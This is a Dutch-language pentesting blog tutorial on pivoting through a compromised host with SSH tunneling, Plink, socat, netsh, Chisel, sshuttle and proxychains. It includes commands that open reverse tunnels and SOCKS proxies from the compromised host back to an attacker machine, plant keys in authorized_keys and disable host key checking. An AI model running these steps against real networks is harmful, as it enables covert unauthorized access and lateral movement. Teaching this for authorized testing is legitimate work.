Pivoting Technieken – SSH tunneling
Wanneer je je als pentester in een netwerk bevindt kunnen zich verschillende scenario’s voordoen. Soms wil je een netwerk enumereren waar je met je “attack machine” niet bij kunt. In andere gevallen wil je graag een specifieke dienst enumereren welke alleen lokaal beschikbaar is en dus niet aan de buitenkant. We kunnen al deze dingen doen door het toepassen van “Pivoting Technieken”. Het “pivoting concept” kan soms best een beetje lastig of overweldigend zijn. In deze post leg ik jullie graag iets meer uit over pivoting en een aantal verschillende pivot methodes. Pivot je mee?
De letterlijke vertaling voor “pivoting” is “draaibaar” of “wendbaar”. En dat klopt eigenlijk prima. Pivoting technieken zorgen ervoor dat je sommige verkeersstomen kunt “buigen” zodat ze voor jou “bruikbaar” worden. Veel van deze technieken zijn op basis van het SSH protocol. Daarom noemen we pivoting ook wel “SSH Tunneling” of “SSH Port Forwarding”.
We maken in dit artikel gebruik van een aantal scenario’s. De meeste scenario’s zijn gebaseerd op SSH. Het is dus belangrijk om eerst zelf een SSH keypair aan te maken. Dit doe je middels het volgende commando:
ssh-keygen -t rsa |
Nu hebben we een private key (id_rsa) en een public key (id_rsa.pub). De private key moet te allen tijde geheim blijven. Met deze sleutel kan versleutelde data worden ontcijferd en berichten die met een certificaat ondertekend worden, worden versleuteld. De public key mag openbaar worden verspreid. Een public key wordt bijvoorbeeld gebruikt om informatie te versleutelen die alleen de eigenaar van de private key mag ontvangen en ontsleutelen. Een public key kan ook gebruikt worden om te verifiëren dat een bericht is gestuurd door de eigenaar van de private key (authenticiteit). We zullen in de meeste scenario’s onze public key nodig hebben.
SSH-port forwarding of SSH-tunneling is het proces waarmee een (default onveilige) TCP/IP-verbinding, wordt getunneld door een beveiligde SSH-tunnel. Hiermee beschermt de getunnelde verbinding het “onbeveiligde” verkeer tegen netwerkaanvallen. Dit proces wordt ook wel TCP / IP-verbindingstunneling genoemd. Wanneer je als aanvaller een SSH tunnel gebruikt heeft dat dus als extra voordeel dat het verkeer in deze tunnel niet zichtbaar is in de “logs”.
Eerst zullen we de netwerken uitwerken:
Attacking Network:
192.168.1.x
Compromised Network:
192.168.2.x
Third Network (behind compromised network):
192.168.3.x
Globaal ziet het schema er als volgt uit:
In deze scenario’s zien we onszelf als “attacker” in het 192.168.1.10 netwerk. Dit kan b.v. een DMZ zijn of gewoon een machine op het internet. We zien alle scenario’s “door de ogen” van de attacker. In alle scenario’s gaan we ervan uit dat we host A in het 192.168.2.20 netwerk gecompromitteerd hebben. We hebben v.a. onze attacking machine dus toegang tot host A.
Nu kunnen zich verschillende scenario’s voordoen. We zullen alle scenario’s uitlichten op basis van SSH en vervolgens soms een alternatieve techniek aan toevoegen:
Scenario 1 – Local Port Forwarding – Connect to a “local” port to a “local” port on HostA
Met “local port forwarding” is het mogelijk om een SSH sessie op te zetten tussen jezelf en een remote SSH server. Vervolgens kunnen we een eigen lokale poort over de SSH tunnel koppelen aan een “lokale” poort op de remote host. Wanneer deze koppeling gemaakt is kunnen we dus de poort op onze lokale machine benaderen alsof het de “lokale poort” is op de remote machine.
Stel je voor dat je een host (HostA) tegenkomt welke een webservice draait op poort 8080. Maar de firewall blokkeert inkomend verkeer op poort 8080 en dus is het voor ons als “attacker” onmogelijk om poort 8080 te vinden en enumereren of om uberhaupt interactie met poort 8080 te hebben. Maar als de firewall wel poort 22 (SSH) toestaat en we zijn in staat om een SSH tunnel op te bouwen met HostA dan kunnen we een poort op onze lokale machine “binden” aan poort 8080 op de remote machine (over de SSH tunnel) om op die manier met deze service te kunnen communiceren. In dit voorbeeld gaan we poort 9090 op onze “attacker” machine “binden” met poort 8080 van HostA. Wanneer deze “local port forward” geslaagd is kunnen we dus interactie opzetten met de local service op poort 8080 van HostA middels: “http://localhost:9090”. Dit verkeer zal vervolgens naar poort 9090 op onze lokale machine gaan en over de SSH tunnel naar poort 8080 van HostA gestuurd worden en visa versa. Dit ziet er als volgt uit:
Het SSH commando dat we hiervoor gebruiken v.a. je attacker machine is:
ssh -L 9090:localhost:8080 sshuser-hosta@192.168.2.20 |
Laten we het commando stap-voor-stap bekijken. De globale opzet is als volgt:
- ssh = Het ssh commando
- -L = Hiermee zet je een local port forward op
- 9090 = Onze lokale poort die we willen “binden”
- localhost:8080 = vanuit het oogpunt van de server (HostA) waar we een SSH verbinding mee hebben “binden” we aan dit adres. In dit geval de lokale webserver op poort 8080.
- sshuser-hosta@192.168.2.20 = De gebruikersnaam die nodig is om connectie te maken met de remote host (vanuit het oogpunt van de attacker machine).
Nadat bovenstaande commando is uitgevoerd zullen we de vraag krijgen om ook het wachtwoord in te voeren van “sshuser-hosta”. Nadat die is ingevoerd zal de verbinding succesvol opgezet zijn.
Wanneer je niet beschikt over het wachtwoord maar wel verbinding hebt met die machine EN je het “authorized_keys” bestand van “sshuser-hosta” kunt aanpassen (of aanmaken) dan kun je hetzelfde doen door een SSH tunnel op te bouwen middels de keys. Om dit te doen kopieer je je eigen public key naar het “authorized_keys” bestand op HostA.
Laten we eerst eens de directory en het bestand aanmaken met de juiste rechten (indien dit nodig is):
mkdir ~/.ssh chmod 700 ~/.ssh touch ~/.ssh/authorized_keys chmod 644 ~/.ssh/authorized_keys |
Nu voegen we onze public key toe aan het “authorized_keys” bestand en vervolgens kunnen we zonder wachtwoord de tunnel opzetten middels het volgende commando:
sudo ssh -i /home/jarno/.ssh/id_rsa -L 9090:127.0.0.1:8080 sshuser-hosta@192.168.2.20 |
Het is zelfs mogelijk om meerdere lokale poorten te forwarden door 2x de “-L” flag te specificeren. In dit voorbeeld forwarden we naast poort 9090 naar 8080 ook poort 9191 naar 8181.
ssh -L 9090:localhost:8080 -L 9191:localhost:8181 sshuser-hosta@192.168.2.20 |
Er zijn een groot scala aan tools (velen gebaseerd op SSH techniek) die ook deze functie bieden. Te beginnen met Plink.
Plink.exe
Plink is een command-line verbindingstool vergelijkbaar met SSH. Zelfs de opbouw is vergelijkbaar. Plink is een Windows-based tool welke dus uitermate geschikt is om een SSH verbinding op te bouwen met een Windows-based machine zonder native OpenSSH. Plink kan naast SSH ook andere protocollen aan zoals Telnet en RLogin.
Het is altijd belangrijk om de juiste architectuur van Plink te kiezen (x32 of x64). Een aantal belangrijke flags zijn:
- -v = Verbose mode
- -x = enable of disable x11 forwarding
- -a = enable of disable agent forwarding
- -T = enable of disable PTY toewijzing
- -C = enable compressions
- -l = user
- -pw = password
- -P = poort
- -I = Definieer de private key voor authenticatie
- -L = Local port forward
De standard opbouw van Plink is:
[plink] [options] [connection source] [connection destination] [commands]Om poort 8080 van HostA te forwarden naar poort 9090 op de attacker machine gebruiken we het volgende commando v.a. de attacker machine:
plink.exe -ssh -L 9090:localhost:8080 sshuser-hosta@192.168.2.20 |
We kunnen dit commando ook uitbreiden:
plink.exe -v -x -a -T -C -noagent -ssh -L 9090:localhost:8080 sshuser-hosta@192.168.2.20 -l username -pw password |
Zoals je ziet lijkt Plink heel erg op het SSH commando.
FPipe
Naast Plink is ook FPipe voor Windows systemen een potentiele optie. FPipe vereist geen additionele DLL’s of privileged toegang. FPipe werkt echter alleen op de NT-, 2000- en XP-platforms. Het gebrek aan ondersteunende DLL’s maakt het gemakkelijk om fpipe.exe te gebruiken. Bovenstaande commando zou er met FPipe als volgt uitzien:
fpipe.exe -l 9090 -r 8080 192.168.2.20 |
Metasploit
Ook binnen Metasploit kunnen we poorten forwarden. Bovenstaande commando ziet er dan als volgt uit binnen het Metasploit Framework:
portfwd add -l 9090 -p 8080 -r 192.168.2.20 |
SoCat
Socat is een command-line based tool welke twee bidirectionele bytestromen tot stand brengt en gegevens daartussen overdraagt. Omdat deze streams opgebouwd kunnen worden uit een grote set van verschillende soorten “data-sinks” en bronnen, en omdat er veel adresopties op de streams kunnen worden toegepast, kan socat voor veel verschillende doeleinden worden gebruikt, waaronder het forwarden van poorten. Binnen SoCat ziet bovenstaande voorbeeld er als volgt uit:
socat TCP-LISTEN:9090,fork,reuseaddr TCP:localhost:9090 |
NetSH
Wanneer je met Windows werkt of een intermediate Windows machine overgenomen dan zou je NetSH kunnen gebruiken om een port forward uit te voeren. Stel je voor dat we op HostA poort 4000 vrij hebben (netstat -anp TCP | find “4400”) en we willen deze binden aan poort 80 op HostC dan kunnen we hiervoor NetSH gebruiken. We kunnen daarna v.a. onze attacking machine op poort 4400 van HostA verbinden om de service op poort 80 van HostC te benaderen.
Om NetSH te gebruiken moet de IP Helper service draaien en de IPv6 support moet enabled zijn!
Misschien moeten we op HostA ook poort 4000 nog open zetten in de firewall:
netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=192.168.1.10 localport=4400 action=allow |
En nu kunnen we op HostA het volgende commando gebruiken om de local port forward te doen naar poort 80 op HostC:
netsh interface portproxy add v4tov4 listenport=4400 listenaddress=192.168.2.20 connectport=80 connectaddress=192.168.3.30 |
Native Windows SSH
Vroeger was SSH nog wel standard aanwezig op Windows. Wanneer je een Windows box met SSH tegenkomt kun je voor een local port forward zoals hierboven hetzelfde commando gebruiken als het Linux (OpenSSH) commando.
Scenario 2 – Local Port Forwarding – Connect to a port in the third subnet
Bovenstaande scenario kan nog verder uitgebreid worden door HostA in het compromised subnet te gebruiken als “hopping machine”. Stel je voor dat er zich achter het “compromised subnet” nog een subnet bevindt (Third Subnet). En je compromised machine heeft een “pootje” in zowel het compromised subnet als in het achterliggende (third) subnet. Dan kun je ook middels een local port forward traffic connectie maken met een service in het achterliggende subnet.
In dit voorbeeld draait er op HostC (192.168.3.30) een webserver op poort 8000 (lokaal). We kunnen verbinding maken met deze webservice door ook het local port forward principe te gebruiken. Dit ziet er dan als volgt uit:
Het commando dat we hiervoor uitvoeren v.a. onze attacker machine is:
ssh -N -L 0.0.0.0:9090:192.168.3.30:8000 sshuser-hosta@192.168.2.20 |
Laten we dit commando eens ontleden:
- ssh = Het ssh commando
- -N = Voer geen remote commando uit (gebruiken bij het forwarden van poorten)
- -L = Hiermee zet je een local port forward op
- 0.0.0.0:9090 = Lokale poort 9090 (op ieder luisterende NIC)
- 192.168.3.30:8000 = Lokale poort 8000 (in de ogen van machine 192.168.3.30) waar HostA (192.168.2.20) toegang toe heeft.
- sshuser-hosta@192.168.2.20 = De gebruikersnaam die nodig is om SSH connectie te maken met de remote host (vanuit het oogpunt van de attacker machine).
Scenario 3 – Remote Port Forwarding – Forward Local Port (from HostA) to Attacker Port
In dit scenario gaan we gebruik maken van “remote port forwarding”. Dit is feitelijk het tegenovergestelde van “local port forwarding”. We binden nu geen lokale poort aan een “remote local port” maar een “remote local port” aan een locale poort.
Het volgende scenario is van toepassing wanneer we geen SSH toegang hebben tot de remote machine omdat b.v. poort 22 inkomend geblokkeerd is. Maar uitgaand is poort 22 niet geblokkeerd en dus kan de remote machine wel SSH naar buiten doen. Op deze manier kan de remote machine een lokale poort forwarden over SSH naar de attacking machine zodat deze v.a. de attacking machine benaderd kan worden. Dit ziet er als volgt uit:
We voeren het volgende commando uit v.a. de remote machine (HostA) naar onze attacking machine en we binden nu poort 3306 (SQL) aan poort 9090.
ssh -N -R 192.168.1.10:9090:127.0.0.1:3306 attacker@192.168.1.10
Laten we dit commando eens beter bekijken:
- ssh = Het ssh commando
- -N = Voer geen remote commando uit (gebruiken bij het forwarden van poorten)
- -R = Hiermee zetten we een remote port forward op
- 192.168.1.10:9090 = De poort waar het verkeer naartoe geforward wordt op de remote (vanuit het oogpunt van HostA) attacking machine.
- 127.0.0.1:3306 = De poort op de lokale machine (vanuit het oogpunt van HostA) die geforeward wordt.
- attacker@192.168.1.10 = ssh user (en IP) van onze attacking machine waar HostA een SSH sessie mee op moet bouwen.
We kunnen nu v.a. de attacking machine poort 2221 bevragen en respons krijgen v.a. poort 3306 v.a. de remote machine. B.v.
sudo nmap -sS -sV 127.0.0.1 -p 2221 |
Plink
Ook met Plink kunnen we een remote port forward doen. Dit ziet er als volgt uit:
plink.exe -v -ssh -R 192.168.1.10:9090:127.0.0.1:8080 -l attacker -pw password 192.168.1.10 |
Voor het gebruik van Plink (de eerste keer) moet je akkoord gaan met de voorwaarden (popup). In een remote shell kun je daarom de volgende truc gebruiken om deze te bypassen:
cmd.exe /c echo y | plink.exe -v -ssh -R 192.168.1.10:9090:127.0.0.1:8080 -l attacker -pw password 192.168.1.10 |
Chisel
Chisel is een snelle TCP / UDP-tunnel, getransporteerd via HTTP en beveiligd via SSH. Chisel bestaat uit 1 executable welke zowel als client en als server kan fungeren. Chisel is geschreven in Go (golang). Chisel wordt veel gebruikt om door firewalls te tunnelen. Om een remote port forward te maken moeten we op onze attacking machine de Chisel server starten:
./chisel server -p 7000 --reverse |
En op HostA moeten we de client starten en verbinding maken met de Chisel server (7000) om een port (8080) remote te forwarden naar poort 9090 op de attacker machine:
.\chisel-x64.exe client 192.168.1.10:7000 R:9090:127.0.0.1:8080 |
Scenario 4 – Remote Port Forwarding – Forward Local Port (from HostC) in Third Subnet to Attacker Port
Net als met “local port forwarding” kunnen we ook een poort v.a. een host in het achterliggende subnet over SSH forwarden naar de attacker machine. In dit scenario gaan we ervan uit dat je toegang hebt verkregen tot de compromised machine (HostA) en dat deze host ook een “pootje” heeft in het “Third Subnet” en dus “HostC” kan benaderen. Op HostC draait een webserver op poort 8000. HostA heeft ook toegang tot deze poort. Dit ziet er als volgt uit:
Om dit te bereiken voeren we het volgende commando uit v.a. de remote machine (HostA):
ssh -N -R 192.168.1.10:9090:192.168.3.30:8000 attacker@192.168.1.10 |
Het grote verschil met het vorige scenario is dat het SSH commando hier geen lokale poort (vanuit het oogpunt van HostA) forward maar een poort op HostC in het third subnet.
- ssh = Het ssh commando
- -N = Voer geen remote commando uit (gebruiken bij het forwarden van poorten)
- -R = Hiermee zetten we een remote port forward op
- 192.168.1.10:9090 = De poort waar het verkeer naartoe geforward wordt op de remote (vanuit het oogpunt van HostA) attacking machine.
- 192.168.3.30:8000 = De poort op de remote (HostC) machine (vanuit het oogpunt van HostA) die geforeward wordt.
- attacker@192.168.1.10 = ssh user (en IP) van onze attacking machine waar HostA een SSH sessie mee op moet bouwen.
We kunnen, net als bij “local port forwarding” bovenstaande ook voor elkaar krijgen door SSH keys te gebruiken. Op deze manier voorkomen we dat we een wachtwoord in moeten vullen. Stel je voor dat HostA een Linux host is, dan kunnen we hier keys op aanmaken.
ssh-keygen |
Vervolgens kunnen we de public key (cat id_rsa.pub) plaatsen in onze eigen “~/.ssh/authorized_keys” file (op de attacker machine). Wanneer dat gebeurt is zou het commando er als volgt uitzien:
ssh -f -N -R 192.168.1.10:9090:192.168.3.30:8000 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/keys/id_rsa attacker@192.168.1.10 |
- ssh = Het ssh commando
- -f = Voer uit op de achtergrond
- -N = Voer geen remote commando uit (gebruiken bij het forwarden van poorten)
- -R = Hiermee zetten we een remote port forward op
- 192.168.1.10:9090 = De poort waar het verkeer naartoe geforward wordt op de remote (vanuit het oogpunt van HostA) attacking machine.
- 192.168.3.30:8000 = De poort op de remote (HostC) machine (vanuit het oogpunt van HostA) die geforeward wordt.
- -o “UserKnownHostsFile=/dev/null” = Gebruik deze optie om de identificatie van de remote host (attacker machine) niet op te slaan.
- -o “StrictHostKeyChecking=no” = Gebruik deze optie om SSH geen controle te laten doen op (strict) SSH keys
- -i /tmp/keys/id_rsa = Gebruik deze custom private key (behorende bij de gewhiteliste public key).
- attacker@192.168.1.10 = ssh user (en IP) van onze attacking machine waar HostA een SSH sessie mee op moet bouwen.
We kunnen ook, net als met “Local Port Forwarding” weer meerdere poorten opgeven. Dit doen we door het “-R” commando vaker te gebruiken. Laten we nu naast poort 8000 ook poort 8001 remote forwarden:
ssh -N -R 192.168.1.10:9090:192.168.3.30:8000 -R 192.168.1.10:9191:192.168.3.30:8001 attacker@192.168.1.10 |
Scenario 5 – Dynamic Port Forwarding – Forward Complete Port Range
Met “local port forwarding” en met “remote port forwarding” beperkten we ons tot interactie met een enkele poort. Dit is in sommige scenario’s een beetje beperkt. Wat als je een volledig subnet wilt scannen? Dan heb je toch echt toegang nodig tot alle poorten van een specifieke host op dat subnet. SSH biedt hier standaard geen oplossing voor en beperkt zich tot 1 poort. Maar met behulp van een SOCKS proxy kunnen we dit wel mogelijk maken. Dit wordt wel ondersteund door SSH. We gebruiken dan binnen SSH de “Dynamic Port Forwarding” functie waarmee we dynamisch een volledig bereik van TCP-communicatie over een reeks poorten kunnen tunnelen. In dit geval maken we een SSH verbinding over een “dynamische proxy server” welke er voor zorgt dat al het verkeer dat binnenkomt op de proxy wordt “doorgestuurd” naar de luisterende server aan de andere kant en dus over de tunnel gaat en versleuteld is. Om dit te doen gebruiken we naast SSH een proxy tool zoals b.v. Proxychains om ervoor te zorgen dat verkeer over de dynamische proxy heen gaat.
Voordat we met SSH aan de slag gaan moeten we er dus voor zorgen dat Proxychains op de juiste manier is ingesteld. Allereerst installeer je ProxyChains:
git clone https://github.com/rofl0r/proxychains-ng.git apt install libnetfilter-queue-dev apt install libusb-1.0-0-dev cd proxychains-ng sudo make build sudo make install |
Nadat de installatie compleet is heb je een “proxychains.conf” bestand welke de configuratie van Proxychains bepaald. Deze moet aangepast worden. Open /etc/proxychains.conf en ga naar de onderste regel. We gaan nu een SOCKS4 of SOCKS5 proxy aanmaken op een blanco regel welke verwijst naar een momenteel ongebruikte poort. Gebruik indien nodig gewoon een standaardwaarde zoals poort 8080. Je kunt ook andere instellingen aanpassen zoals het verwijderen van het # teken voor “quiet_mode” om, de uitvoer te kunnen zien.
Laten we nog even uitleggen wat een SOCKS procky is.
SOCKS staat voor Socket Secure en is een netwerkprotocol dat communicatie met servers via een firewall mogelijk maakt door namens een client netwerkverkeer naar de doelserver te leiden. SOCKS is ontworpen om elk type verkeer dat door een protocol of programma wordt gegenereerd, te verwerken en door te sturen. Een SOCKS-proxyserver maakt namens de verzender een Transmission Control Protocol (TCP)-verbinding met een andere node/server en wisselt vervolgens netwerkpakketten uit tussen de client en de daadwerkelijke server. De SOCKS-proxyserver zit dus tussen de verzender en de ontvanger (man-in-the-middle) en interpreteert het netwerkverkeer tussen client en server op geen enkele manier. Dat betekend dat het verkeer 1-op-1 wordt doorgestuurd. Een SOCKS proxy wordt vaak gebruikt omdat clients zich achter een firewall bevinden en geen TCP-verbindingen met externe servers tot stand mogen brengen tenzij ze dit doen via de SOCKS-proxyserver. Daarom stuurt een SOCKS-proxy de TCP- en UDP -sessie van een gebruiker over de firewall. Soms wordt het ook gebruikt om het sourceadres van de verzender af te schermen.
SOCKS is een protocol op laag 5 van het OSI model. Je kunt een SOCKS proxy dus niet gebruiken om protocollen te tunnelen die onder laag 5 werken zoals ping, arp etc. Ook kun je over een SOCKS proxy geen nmap scan doen op basis van half-open poorten (SYN) omdat dat ook op laag 5 werkt. Wat wel prima werkt zijn protocollen op lagen die erboven zitten zoals HTTP, HTTPS, POP3, SMTP en FTP. Als gevolg hiervan kan SOCKS worden gebruikt voor e-mail, surfen op het web, peer-to-peer delen, bestandsoverdracht en meer.
Er zijn slechts twee versies: SOCKS4 en SOCKS5. De belangrijkste verschillen tussen SOCKS5 en SOCKS4 zijn:
- SOCKS4 – ondersteunt geen authenticatie en geen UDP
- SOCKS5 – ondersteund verschillende soorten authenticatiemogelijkheden en ondersteund ook UDP. Daarnaast is SOCKS5 veiliger omdat deze een volledige TCP-verbinding met authenticatie tot stand brengt en een door Secure Shell (SSH) gecodeerde tunnelingmethode gebruikt om het verkeer door te sturen.
De regel die we b.v. toevoegen aan ons configuratiebestand is:
socks4 127.0.0.1 7080 OF socks5 127.0.0.1 7080 |
Nu we de proxy actief hebben moeten we de SSH tunnel opbouwen over deze proxy. Dit doen we als volgt op onze eigen “attacking machine”:
ssh -N -D 127.0.0.1:7080 sshuser-hosta@192.168.2.20 |
Laten we dit commando eens ontleden:
- ssh = Het ssh commando
- -N = Voer geen remote commando uit (gebruiken bij het forwarden van poorten)
- -D = Hiermee zetten we een dynamic port forward op. We specificeren hier de poort die we in Proxychains geconfigureerd hebben.
- 127.0.0.1:7080 = De proxy poort op de lokale machine om het verkeer langst te sturen.
- sshuser-hosta@192.168.2.20 = De doelserver + username voor deze server waar we een SSH verbinding (over de proxy) mee op willen zetten
*Let op – bovenstaande connectie staat “bevroren” na het invoeren van het juiste wachtwoord. Laat deze connectie open staan om de tunnel open te houden.
Elk programma welke je nu via Proxychains over de proxy heen stuurt zal over de SSH verbinding geproxied worden naar de doelserver (HostA). Dit ziet er als volgt uit:
We kunnen nu dus elke tool gebruiken en een breed bereik aan poorten scannen. B.v.
sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.2.20 |
Maar omdat HostA ook een pootje heeft in het “third subnet” kun je eventueel ook via HostA de poorten van HostC scannen door je dynamische proxy heen:
sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.3.30 |
Wanneer HostC toevallig een SSH server zou draaien (b.v. op poort 2222) dan kunnen we ook een dynamic SSH connectie maken met deze host om nog verder te pivoten (stel je voor dat die een pootje in het “forth subnet” zou hebben… We maken nu een nieuwe proxy aan in het Proxychains configuratiebestand op poort 7081 en bouwen dan v.a. onze attacker machine een dynamische proxy op met HostC over de bestaande tunnel met HostA:
ssh -N -D 127.0.0.1:7081 sshuser-hostc@192.168.3.30 -p 2222 |
We kunnen nu in theorie connectie maken met een machine in een vierde subnet (192.168.4.40). B.v.:
proxychains rdesktop 192.168.4.40 -u Administrator -p password |
Chisel
We kunnen ook een SOCKS5 proxy creëren met Chisel.
Op de attacker machine:
./chisel server -p 9090 --reverse |
En op HostA moeten we de client starten en verbinding maken met de Chisel server om de SOCKS5 tunnel te starten:
.\chisel-x64.exe client 192.168.1.10:9090 R:socks |
sshuttle
Een andere fantastische CLI-based tool op basis van SSH voor het opzetten van een transparante proxy server welke werkt op basis van SSH is “sshuttle”. Sshuttle maakt het gemakkelijk om v.a. je eigen machine zonder privileged access op een remote machine (wel SSH toegang) een tunnel op te zetten. Met sshuttle hoef je niet net zoals met SSH elke poort separaat door te sturen voor elke afzonderlijke host / poort op het externe netwerk. Met sshuttle is het mogelijk om zowel TCP als UDP poorten door te sturen. Laten we met sshuttle eens verbinding maken met HostA om deze vervolgens als jump server te gebruiken voor het “third subnet”:
We voeren het volgende commando uit v.a. onze attacker machine:
sshuttle -v -r sshuser-hosta@192.168.2.20 192.168.3.0/24 |
Wanneer we bovenstaande commando gebruikt hebben kunnen we het achterliggende subnet (third) benaderen. Wanneer we een IP adres benaderen uit dit subnet zal het verkeer door sshuttle opgepakt worden en over de intermediate machine (HostA) naar het “third subnet” gestuurd worden. We kunnen dus prima het volgende commando uitvoeren zonder tussenkomst van een andere proxy tools zoals Proxychains omdat alle poorten geforward worden:
nmap -p 1-1000 -v 192.168.3.31 |
Scenario 6 – Reverse Dynamic Port Forwarding
We kunnen bovenstaande scenario ook omdraaien. In dat geval maken we nog steeds gebruik van een proxy server op onze attacking machine maar zetten we de SSH verbinding op v.a. de remote machine (HostA). Dit doen we b.v. als de firewall wel uitgaand verkeer van poort 22 accepteert maar geen inkomend SSH verkeer waardoor dat we geen standaard “dynamic port forwarding” op kunnen zetten. In het geval van “reverse dynamic port forwarding” initiëren we de SSH verbinding v.a. HostA op dezelfde manier als we de “remote port forward” maakte. Het enige verschil is dat we nu deze poort configureren in ProxyChains als “SOCKS proxy”.
Alleen de nieuwere SSH clients (v.a. 7.6) ondersteunen “Reverse Dynamic Port Forwarding”. Dit is een uitbreiding op de “-R” flag waardoor de SSH client ook fungeert als een SOCKS4 / 5-proxy en verbindingen doorsturen naar bestemmingen die worden aangevraagd door de externe SOCKS-client.
Het instellen van Reverse Dynamic Port Forwarding doe je als volgt v.a. de remote machine (HostA) maken we eerst een Remote Port Forward:
ssh -f -N -R 7080:127.0.0.1:22 attacker@192.168.1.10 |
Laten we dit commando eens ontleden:
- ssh = Het ssh commando
- -f = Zet SSH op de achtergrond nadat deze is geverifieerd. Hierdoor bespaar je tijd omdat je niets op de externe server (attacker machine) hoeft te draaien om de tunnel in leven te houden.
- -N = Voer geen remote commando uit (gebruiken bij het forwarden van poorten)
- -R = Hiermee zetten we een remote port forward op naar de poort welke we in ProxyChains geconfigureerd hebben als SOCKS proxy.
- 7080: = De SSH poort op de remote machine (attacker machine) om connectie mee te maken. Let erop dat dit de Proxy poort is die je geconfigureerd hebt.
- 127.0.0.1:22 = De lokale SSH poort.
- attacker@192.168.1.10 = Het IP adres + gebruikersnaam van onze attacker machine.
Met bovenstaande commando hebben we ervoor gezorgd dat we een SSH tunnel hebben geïnitieerd tussen poort 22 (HostA) en 7080 (attacker machine proxy). Al het verkeer naar poort 7080 zal door de SSH tunnel naar HostA getransporteerd worden.
Conclusie
Tot zover deze post over SSH tunneling en SSH Port Forwarding. Hopelijk gaf deze post wat verheldering en duidelijkheid in het concept. SSH Tunneling is soms lastig te doorgronden maar wanneer je eenmaal het commando doorhebt en hoe de opbouw in elkaar zit is het ineens een stuk makkelijker. Ik hoop dat je de volgende keer tijdens het pivoten nog even aan deze post denkt. In dat geval ben ik blij dat je weer iets geleerd hebt! 😉 Daarnaast hoop ik je ook iets hebt aan de alternatieve tools die ik vermeld heb. Vooral sshuttle is een van mijn favorieten en maakt pivoting vaak gemakkelijk. Uiteraard zijn er nog vele tools die ik niet genoemd heb zoals rpivot, reGeorg, Yarp, Iodine (DNS) etc. Maar wellicht hierover in een volgende post wat meer informatie! Tot de volgende!